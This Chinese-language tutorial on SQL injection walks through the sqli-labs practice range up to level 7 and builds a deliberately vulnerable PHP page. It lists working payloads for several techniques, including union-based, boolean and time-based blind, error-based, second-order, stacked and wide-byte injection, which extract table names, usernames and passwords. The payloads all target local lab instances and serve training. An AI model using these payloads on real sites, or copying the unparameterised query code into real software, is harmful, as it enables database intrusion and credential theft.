SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

本文介绍了一个简单的SQL注入测试过程,包括搭建测试环境、编写PHP程序实现数据库连接和查询,以及如何构造SQL注入攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、SQL 注入

sqli-labs 靶场

PHP7 之后的 mysql_ 都改成了 mysqli_** 了,所以 sqli-labs 用 PHP7+ 版本的话会报错!解决方法:直接使用支持 php7 的版本的 sqli-labs

sqli-lab:https://github.com/search?q=+sqli-labs&type=repositories
在线靶场:http://sqli.exp-9.com/
SQLi-Labs ( php7 版本 )下载地址:https://github.com/skyblueee/sqli-labs-php7
SQLi-Labs ( php5 版本 )下载地址:https://github.com/Audi-1/sqli-labs
详细sqli-labs(1-65)通关:https://blog.csdn.net/dreamthe/article/details/123795302
SQL 注入非常详细总结:https://blog.csdn.net/dreamthe/article/details/124969922
Less靶场SQL注入通关宝典:https://www.cnblogs.com/zxywlaq/p/18199225
SQL注入攻击与防御 第二版:http://download.csdn.net/detail/hx0_0_8/9284595

SQLi-Labs 是一个专业的 SQL 注入练习平台,适用于 GET 和 POST 场景,包含了以下注入:

  • 1、基于错误的注入(Union Select):字符串、整数
  • 2、基于误差的注入(双查询注入)
  • 3、盲注入(01、基于Boolian数据类型注入, 02、基于时间注入)
  • 4、更新查询注入(update )
  • 5、插入查询注入(insert )
  • 6、Header 头部注入( 01、基于Referer注入, 02、基于UserAgent注入,03、基于cookie注入)
  • 7、二阶注入,也可叫二次注入
  • 8、绕过WAF:绕过黑名单 \ 过滤器 \ 剥离 \ 注释剥离 OR&AND 剥离空格和注释剥离 UNION和SELECT、隐瞒不匹配
  • 9、绕过addslashes()函数
  • 10、绕过 mysql_real_escape_string() 函数(在特殊条件下)
  • 11、堆叠注入(堆查询注入)
  • 12、二级通道提取

安装完成,直接访问 index.html 页面如下:

然后在点击 Setup/reset Database for labs 就可以成功

如果上面数据库表创建成功,数据库表如下

修改 index.php 用来在前端页面显示后台执行的 sql 语句,需要在每一关的 index.php 都需改。

单页面 web 靶场

如果不想使用上面的靶场,也可以自己写个单页面的 web 进行测试。

这里使用 KALI linux系统 (KALI:https://www.kali.org/)。KALI 是一个渗透测试的神器。集成了很多黑客工具,当然也就集成了许多开发所需的环境。可以继续安装 Sqli-labs 靶场,也可以自己写一个简单的页面进行测试,这里是写了一个单页面测试。

启动 MySQL :

root@kali:~# systemctl start mysql      //启动 mysql 服务
root@kali:~# systemctl status mysql     //查看 mysql 状态

SQL 建表脚本(添加一些测试数据)

MySQL 官方网站提供了以下几个示例数据库:Sakila、Employees、world、world_x 以及 menagerie。这些数据库既可以用于日常学习和测试,也可以作为我们设计时数据库的一个参考。

启动 apache

root@kali:~# systemctl start apache2
root@kali:~# systemctl status apache2

apache 的默认主页是  /var/www/html/index.html。直接访问 http://localhost/index.html 

修改 index.html 为 index.php

index.php 内容如下: (数据库连接部分参考:https://www.runoob.com/php/php-pdo.html

<?php 
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);

print('Hello '); // 输出 "Hello " 并且没有换行符
echo "World\n";  // 输出 "World" 并且换行
echo "<br />";
echo "<hr />";
echo '<p align="center">DataBase connect test</p>';


$dbms='mysql';      //数据库类型
$host='127.0.0.1';  //数据库主机名
$dbName='world';    //使用的数据库
$user='root';       //数据库连接用户名
$pass='';           //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";

try {
    // 连接到数据库
    $dbh = new PDO($dsn, $user, $pass);  
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    $dbh->exec('set names utf8'); 
    echo "连接成功<br/>";
    // sql 语句
    $strsql="SELECT id,name,countrycode FROM `City` LIMIT 5";
    //你还可以进行一次搜索操作
    foreach ($dbh->query($strsql) as $row) {
        //print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
        echo "id: {$row['id']}        ";
        echo "name: {$row['name']}        ";
        echo "countrycode: {$row['countrycode']}        ";
        echo "<br />";
    }
    $dbh = null;
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "<br/>");
}
?>

<br />
<hr />
<p align="center">input test</p>
<form>
	<div>
		Input Query ID:
		<input type="text" name="search" style="width:60%;" >
		<input type="submit" name="submit" value="Search" >
		<br /><br />
		SQL Query String : 
		<?php
		if(isset($_GET['submit'])) 
		{
			$val = $_GET['search'];
			$str_sql = "SELECT id,name,countrycode FROM City where id = $val";
			echo "<b>$str_sql</b>";
			echo "<br />";
			$dbms='mysql';      //数据库类型
			$host='127.0.0.1';  //数据库主机名
			$dbName='world';    //使用的数据库
			$user='root';       //数据库连接用户名
			$pass='';           //对应的密码
			$dsn="$dbms:host=$host;dbname=$dbName";

			try {
    				// 连接到数据库
    				$dbh = new PDO($dsn, $user, $pass);  
    				$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    				$dbh->exec('set names utf8');     	
    				echo "<br /><br />";
    				// 遍历
    				foreach ($dbh->query($str_sql) as $row) 
    				{
        				//print_r($row);           //你可以用 echo($GLOBAL); 来看到这些值
    					echo '<table border="1">';
    					echo "<tr>";
    					echo "<td>";
        				echo "id: {$row['id']}        ";
        				echo "</td>";
        				echo "<td>";
        				echo "name: {$row['name']}        ";
        				echo "</td>";
        				echo "<td>";
        				echo "countrycode: {$row['countrycode']}        ";
        				echo "</td>";
        				echo "</tr>";
        				echo "</table>";
    				}
    				$dbh = null;
			} 
			catch (PDOException $e) 
			{
    				die ("Error!: " . $e->getMessage() . "<br/>");
			}
		}
		else
		{
			echo "please input the number ID !!!";
		}				
		?>
	</div>
</form>

浏览器直接访问:http://localhost/index.php

mysql 数据库中结果

到此,一个简单的单页 php web 创建完成。

一个 简单的 SQL 注入验证

输入要查询的 ID (数字),点击 search 按钮,注意 浏览器 url 变化,传递一个参数 search=1 。然后下面显示查询结果。

现在修改 URL 传递的参数。

修改后的 URL 为 :http://localhost/index.php?search=1 or '1'='1'&submit=Search

再来一个复杂点的 SQL 注入验证:

URL:http://localhost/index.php?search=1 union select code,name,region from Country LIMIT 5;&submit=Search

一个读取文件的 SQL 注入

一个简单的 SQL 注入完成。

SQL 注入 分类

对于不同的注入点类型,比如:字符型需要适当添加单引号,而数字型的注入点则不需要。如何判断是否存在SQL注入?简单点讲就是:所有的输入,只要和数据库进行交互的,都有可能触发SQL注入

  • 根据参数类型:字符型,数字型、搜索型
  • 根据提交方式:POST注入,GET注入,HTTP HEAD注入,根据提交方式分类后,可以发现SQL注入最常发生的位置在 "链接地址、数据参数、cookie信息以及HTTP请求头等位置"。如何判断这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及 and 1=1 的变换形式)来判断。
  • 根据有无回显:联合注入,报错注入,布尔盲注,延时注入
  • 其他注入:堆叠注入,宽字节注入,二次注入等

根据参数类型:字符型,数字型、搜索型

数字型 注入点

  • 数字型 注入点。许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。
  • 数字型 注入 判断这一类的 SQL 语句原型大概为 "select * from 表名 where id=1",若存在注入则可以构造类似 sql 注入语句进行爆破:select * from 表名 where id=1 and 1=1 ,或者 id=1 and 1=2 进行测试,如果 1=1 页面显示正常和原页面一样,并且 1=2 页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

字符型 注入点

  • 字符型 注入点。网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式,其注入点 user 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
  • 字符型 注入 判断添加 一个 单引号 或者 双引号,来判断是单引号的字符型注入,还是双引号的字符型注入。字符型注入关键点:前面闭合,中间是要执行的 sql 语句,后面闭合。或者后面的全部注释掉

    ?id=1' and 1=1 -- asdf 和 ?id=1' and 1=2 -- asdf 进行测试。如果 1=1 页面显示正常和原页面一样,并且 1=2 页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
    SELECT * FROM users WHERE id='1' and 1=1 -- asdf'
    SELECT * FROM users WHERE id='1' and 1=2 -- asdf'
    也可以这样判断
    http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' and '1'= '1
    http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' and '1'= '2
    ?id=1' and 1=1 and '1'='1 和 ?id=1' and 1=1 and '1'='2 进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
    SELECT * FROM users WHERE id='1' and 1=2 and '1'='1' 

搜索型 注入点

搜索型注入点。这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

?id=1%' and 1=1 and '%'='% 和 ?id=1%' and 1=2 and '%'='% 进行测试。如果 1=1 页面显示正常和原页面一样,并且 1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。SELECT * from table where users like '%1 %' and '1'='1' and '%'='%'

?id=1%' and 1=1--+/# 和 ?id=1%' and 1=2--+/# 进行测试。如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。

根据提交方式:POST注入,GET注入,HEAD注入

  • GET 注入。提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
  • POST 注入。使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • Cookie 注入。HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • HTTP 头部注入。注入点在 HTTP 请求头部的某个字段中。比如 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

联合注入

示例:sqli-labs 第 2 关

场景:当页面有数据显示

注入点判断

        页面显示数据:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=1
        (或者:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=1 -- 注释 )
        页面不显示数据:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=2

?id=1 and 1=1 页面显示数据

id=1 and 1=2 页面不显示数据,综合这两个结果进行判断,说明是 数字型 注入 。

判断列数

?id=1 order by 3

order by 可以按列号进行排序,当列号不存在时会报错,按照这个特性,可以从 1 一次累加,来探测有多少列。

http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 1
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 2
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 3
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 4

当探测到 order by 4 时,发生报错,说明总共  3 列

爆出显示位

也就是 name 和 password 分别是查询结果中的第几列。

注意点:这里 id=-1, id 值在表中不存在,当 id 不存在时,union 查询时,前面 sql 部分查询结果为空,只有后面的 sql 执行结果。相当于变相只执行后面的 sql。

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,3
后台执行的 SQL:SELECT * FROM users WHERE id=-1 union select 1,2,3 LIMIT 0,1

如果想把后面的 LIMIT 0,1 去掉,则可以 添加注释,把后面的去掉

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,3 -- dsfaf
后台执行的 SQL:SELECT * FROM users WHERE id=-1 union select 1,2,3 -- dsfaf LIMIT 0,1

爆 数据库,版本

想要在正常显示数据的地方显示 数据库,版本,同样需要 id 值在表中不存在。

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,database(),version()

爆 表

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

爆 列

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆 账户、密码

http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(username ,id , password) from users

布尔盲注

示例:sqli-labs 第 5 关

场景:当页面数据显示很少,有报错页面和正确页面进行对比

注入点判断
      http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and 1=1 -- 注释后面sql
      http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and 1=2 -- 注释后面sql
可以判断是 "字符型 注入"

爆 数据库

判断 数据库 的长度:

http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and length((select database()))>7-- 注释
http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and length((select database()))>8-- 注释

大于 7 时正常,大于 8 时不正常,说明 数据库名 长度 是 8 

判断 数据库名 每一位的字符

?id=1'and ascii(substr((select database()),1,1))=115-- 注释

115 ascii 码 是 小写 s,就是 security 的第一位,就这样依次猜测 数据库名的每一位

ascii 码对照表

爆 表:判断 表名 的 长度

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

探测 表名 的每一位 字符

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

爆 列:判断 列名 的 长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

探测 列名的 每一位字符

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

爆 账户、密码

?id=1' and length((select group_concat(username,password) from users))>109--+

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

延时注入

示例:sqli-labs 第 9 关

场景:如果页面始终只有一个,可以使用延时注入,通过反应时间来判断。

注入点 判断:http://127.0.0.1/sqli-labs-php7/Less-9/?id=1' and if(1=1,sleep(5),1) -- 注释

爆 数据库

?id=1' and if(length((select database()))>9,sleep(5),1)-- dsjfa

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- dsahd

爆 表

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

爆 列

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

爆 密码账户

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

报错注入

示例:sqli-labs 第 46 关

场景:当页面显示数据很少,但是存在报错信息。

第 46 关 的 sort 值可以是 1、2、3 中任意一个。

updatexml 报错 注入

UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)  
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变 XML_document 中符合 XPATH_string 的值,当我们 XPath_string 语法报错时候就会报错

单引号、双引号 都报错,说明是 字符串注入

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1'
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1"

爆 数据库和版本

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=2 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=2 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=3 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释

爆 表

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))-- 注释

爆 列

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))-- 注释

爆 账户、密码

账户:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1))-- 注释

密码:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1),0x5c),1))-- 注释

账户、密码:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password, '@',username) from users),0x5c),1))-- 注释

extractvalue 报错 注入

extractvalue(XML_document,XPath_string)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从 XML_document 中提取符合 XPATH_string 的值,当我们 XPath_string 语法报错时候就会报错

爆 数据库和版本

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,database(),0x5c)))-- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,version(),0x5c)))-- 注释

爆 表

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))-- 注释

爆 列

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))-- 注释

爆 账户与密码

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users) ,0x5c)))-- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select username from users limit 0,1) ,0x5c)))-- 注释

http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1) ,0x5c)))-- 注释

group by 报错 注入

主要是由于 floor(rand(0)*2) 生成的是伪随机数011011。在进行统计时候由于在插入表格会被再次执行一次会导致健的重复。从而导致报错。

爆 数据库和版本

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))--+

123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2))) --+

爆 表

1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) --+

爆 列

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2))) --+

爆 账户与密码

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1' limit 0,1),0x7e,floor(rand(0)*2))) --+   

二次注入

示例:sqli-labs 第 24 关

原理:二次注入是因为对于存储到数据库的数据没有经过过滤验证,且从数据库提取数据时候也没有进行过滤验证。

示例:可以看到管理员账户 admin 密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的 admin

我们可以注册一个账号名叫 admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

之后可以使用用户名 admin'# 和密码是123456 登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

堆叠注入

示例:sqli-labs 第 38 关

堆叠注入:要求可以支持多条 sql 语句同时执行,其他 sql 注入只能查询数据,堆叠注入可以进行增删改查。

 以 mysql 数据库为例,如果使用 mysqli_multi_query 函数,该函数支持多条 sql 语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

宽字节注入

示例:sqli-labs 第 32 关

原理:当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。数据库使用一些转义函数,在引号前面自动加上\。由于数据库采用GBK编码, \的url编码是%5c,所以会认为 %df%5c 是一个宽字符,也就是縗。

爆数据库

?id=-1%df%27 union select 1,database(),3 --+

爆表

?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆列    

?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 

爆账户与密码

?id=-1%df%27 union select 1,group_concat(password,username),3 from users--+

sqli-labs 通关

firefox 浏览器安装 MaxHackbar 插件。访问 http://127.0.0.1/sqli-labs-php7/Less-1/?id=1

当找不到注入点时,可以查看每一关的源码,下面时第一关的源码,可以发现 where 后面条件 id 的值是字符型,所以这个是 字符型注入。

mysql 数据结构

在练习靶场前先了解以下 mysql 数据库结构,mysql 数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是 tables columns

tables 这个表

  • table_name 字段下面是所有数据库存在的表名。
  • table_schema 字段下是所有表名对应的数据库名。

columns 这个表

  • colum_name 字段下是所有数据库存在的字段名。
  • columns_schema字段下是所有表名对应的数据库。

了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。 

sqli-labs 第 1 关 ( 单引号、字符型 注入 )

判断是否存在 sql 注入:提示输入数字值的 ID 作为参数,我们输入?id=1

通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

接下来我们判断 sql 语句是否是拼接,且是字符型还是数字型。

访问报错:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1'
访问返回数据:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' -- 注释掉后面的sql

由上面结果可知,是字符型注入。且存在 sql 注入漏洞。因为该页面存在回显,所以可以使用联合查询。联合查询原理简单说一下,联合查询就是两个 sql 语句一起查询,两张表具有相同的列数,且字段名是一样的。

联合注入

第一步:爆列数。就是知道数据表有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

访问正常:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' order by 3 -- dfas

访问报错,说明 sql 查询结果总共 3 列:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' order by 4 -- dfas

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

第三步:通过上面的显示位,可知是第二列、第三列,所以在构造联合查询时,第二列和第三列可以放置有用的信息。比如 当前数据名、版本号。

上面涉及 mysql 数据库的一些函数,记得就行。通过结果知道当前数据看是 security,版本是 8.0.12

  • database()  获取当前数据库
  • version()  获取数据库的版本号
  • group_concat()  将查询到结果连接起来。示例 sql:
    select group_concat(table_name) from information_schema.tables where table_schema=database();
    select group_concat(username,password, '分割') from users;

第四步: 爆表。information_schema.tables 表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

该语句的意思是查询 information_schema 数据库下的 tables 表里面,且 table_schema 字段内容是 security 的所有 table_name 的内容。

如果不用 group_concat 查询到的只有 user,就是查询结果第一条数据。

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在 users 表中。接下来我们就是得到该表下的字段名以及内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

语句的意思是查询 information_schema 数据库下的 columns 表里面且 table_users 字段内容是users 的所有 column_name 的内。注意 table_name 字段不是只存在于 tables 表,也是存在columns表中。表示所有字段对应的表名。

 第六步:通过上述操作可以得到两个敏感字段就是 username 和 password,接下来我们就要得到该字段对应的内容。我自己加了一个 id 可以隔一下账户和密码。

http://127.0.0.1/sqli-labs-php7/Less-1/?id=-1' union select 1,2,group_concat(username , id, password) from users -- 注释

http://127.0.0.1/sqli-labs-php7/Less-1/?id=-1' union select 1,2,group_concat(username , '_____', password) from users -- 注释

sqli-labs 第 2 关 ( 单引号、数字型 注入 )

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以可以猜测 sql 语句应该是数字型注入。那步骤和我们第一关是差不多的,

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1' LIMIT 0,1"     出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

sqli-labs 第 3 关 ( 单引号、括号 闭合 )

输入?id=2' 时,可以看到页面报错信息。可推断 sql 语句是单引号字符型且有括号,所以需要闭合单引号,且也要考虑括号。

通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs 第 4 关 ( 双引号、括号 闭合 )

根据页面报错信息得知 sql 语句是双引号字符型且有括号。

通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs 第 5 关 ( 单引号、布尔盲注 )

第五关根据页面结果得知是字符型,但是和前面四关还是不一样,因为页面虽然有东西,但是只有对于请求对错出现不一样页面,其余的就没有了。这个时用联合注入就没有用,因为联合注入是需要页面有回显位。

  • 如果数据 不显示,只有对错页面显示,可以选择 布尔盲注
  • 布尔盲注主要用到 length()、ascii()、substr() 这三个函数,首先通过 length() 函数确定长度再通过另外两个确定具体字符是什么。
  • 布尔盲注 对于 联合注入 来说需要花费大量时间。

大于号 可以换成 小于号 或者 等于号,主要是判断数据库的长度。lenfth() 是获取当前数据库名的长度。如果数据库是 haha 那么 length() 就是4。这里数据库事 security 长度是 8

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select database()))>7 --+
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select database()))>8 --+

  • substr(a,b,c) :a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。示例:substr("78909",1,1)=7
  • ascii():是将截取的字符转换成对应的 ascii 码,这样我们可以很好确定数字根据数字找到对应的字符。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1'and ascii(substr((select database()),1,1))=115--+

判断所有表名字符长度。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13 --+

逐一判断表名

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

判断所有字段名的长度

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 --+

逐一判断字段名。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

判断字段内容长度

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(username,password) from users))>109 --+

逐一检测内容。

http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50 --+

sqli-labs 第 6 关 ( 双引号、布尔盲注 )

第六关 和 第五关 是差不多的,根据页面报错信息可以猜测 id 参数是双引号,只需将第五关的单引号换成双引号就可以了。

源码

sqli-labs 第 7 关 ( 单引号、双括号 闭合 )

第七关中,当在输入 id=1 页面显示 you are in... 当我们输入 id=1' 时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。

